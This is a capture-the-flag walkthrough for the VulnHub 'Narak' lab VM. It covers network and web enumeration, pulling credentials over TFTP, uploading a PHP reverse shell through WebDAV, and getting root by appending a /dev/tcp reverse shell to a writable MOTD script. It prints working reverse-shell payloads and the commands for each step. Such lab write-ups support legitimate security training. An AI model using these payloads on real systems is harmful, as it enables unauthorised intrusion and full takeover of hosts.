Target Objective
The mission is to retrieve two flags: user.txt and root.txt. The latter requires elevated privileges, necessitating privilege escalation after initial access.
Setup
- Attacker: Kali Linux (IP: 192.168.80.129)
- Target VM: Download from https://download.vulnhub.com/ha/narak.ova
Reconnaissance
-
Active Host Discovery
Scan the subnet to locate live systems:nmap -sn 192.168.80.0/24Identified target at 192.168.80.130.
-
Port Scanning
Quick scan for open ports:nmap --min-rate 10000 192.168.80.130Ports 22 (SSH) and 80 (HTTP) are open.
-
Service Detecsion
Run detailed scan on discovered ports:nmap -sT -sV -sC -O -p22,80 192.168.80.130No immediate exploitable data revaeled.
-
UDP Probing
Full UDP sweep showed no open ports, but scanning the top 20 UDP ports exposed some activity, indicating potential evasion tactics in default scans.nmap -sU --min-rate 10000 --top-ports 20 192.168.80.130 -
Directory Enumeration
Use brute-force to discover web paths:gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.80.130Discovered:
/images,/webdav,/server-status./imagesheld only static assets./webdavrequired authentication. -
Extended Brute Force
Include additional extensions:gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://192.168.80.130Found
/tips.txt. Access its content:curl http://192.168.80.130/tips.txtHint points to credentials stored in
creds.txt.
TFTP Exploitation
TFTP operates on port 69 and allows simple file transfers without authentication.
-
Connect and retrieve the credential store:
tftp 192.168.80.130 tftp> get creds.txt tftp> quit -
Decode the retrieved file:
cat creds.txt | base64 -dYields username and password pair.
-
SSH login fails; credentials likely apply to WebDAV.
WebDAV Breach
WebDAV permits remote file operations over HTTP.
-
Test upload capabilities:
davtest -url http://192.168.80.130/webdav -auth yamdoot:SwargConfirms PHP execution is permitted.
-
Craft reverse shell payload (
rev_shell.php):<?php system('/bin/bash -c "bash -i >& /dev/tcp/192.168.80.129/4444 0>&1"'); ?> -
Upload using cadaver:
cadaver http://192.168.80.130/webdav Username: yamdoot Password: Swarg put rev_shell.php -
Start listener and trigger shell:
nc -lnvp 4444 # In browser or curl: http://192.168.80.130/webdav/rev_shell.phpGains low-privilege access.
Privilege Escalation to User Flag
-
Hunt wriatble files excluding pseudo-filesystems:
find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/var/*" 2>/dev/nullLocate
/mnt/hell.shcontaining obfuscated Brainfuck code. -
Decode the script: Save code to
payload.bfand run:beef payload.bfOutputs string
chitragupt. -
Match against system users (
/etc/passwd) and test SSH logins. Successful login asinferno. -
Capture first flag:
cat /home/inferno/user.txt
Root Privilege Escalation
-
Current user lacks sudo rights. Repeat writable file search:
find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/var/*" 2>/dev/nullFinds write access to
/etc/update-motd.d/00-header. -
MOTD scripts execute on login. Inject reverse shell into header:
echo '/bin/bash -i >& /dev/tcp/192.168.80.129/5555 0>&1' >> /etc/update-motd.d/00-header -
Trigger via new SSH session:
nc -lnvp 5555 ssh inferno@192.168.80.130Receives root shell.
-
Read final flag:
cat /root/root.txt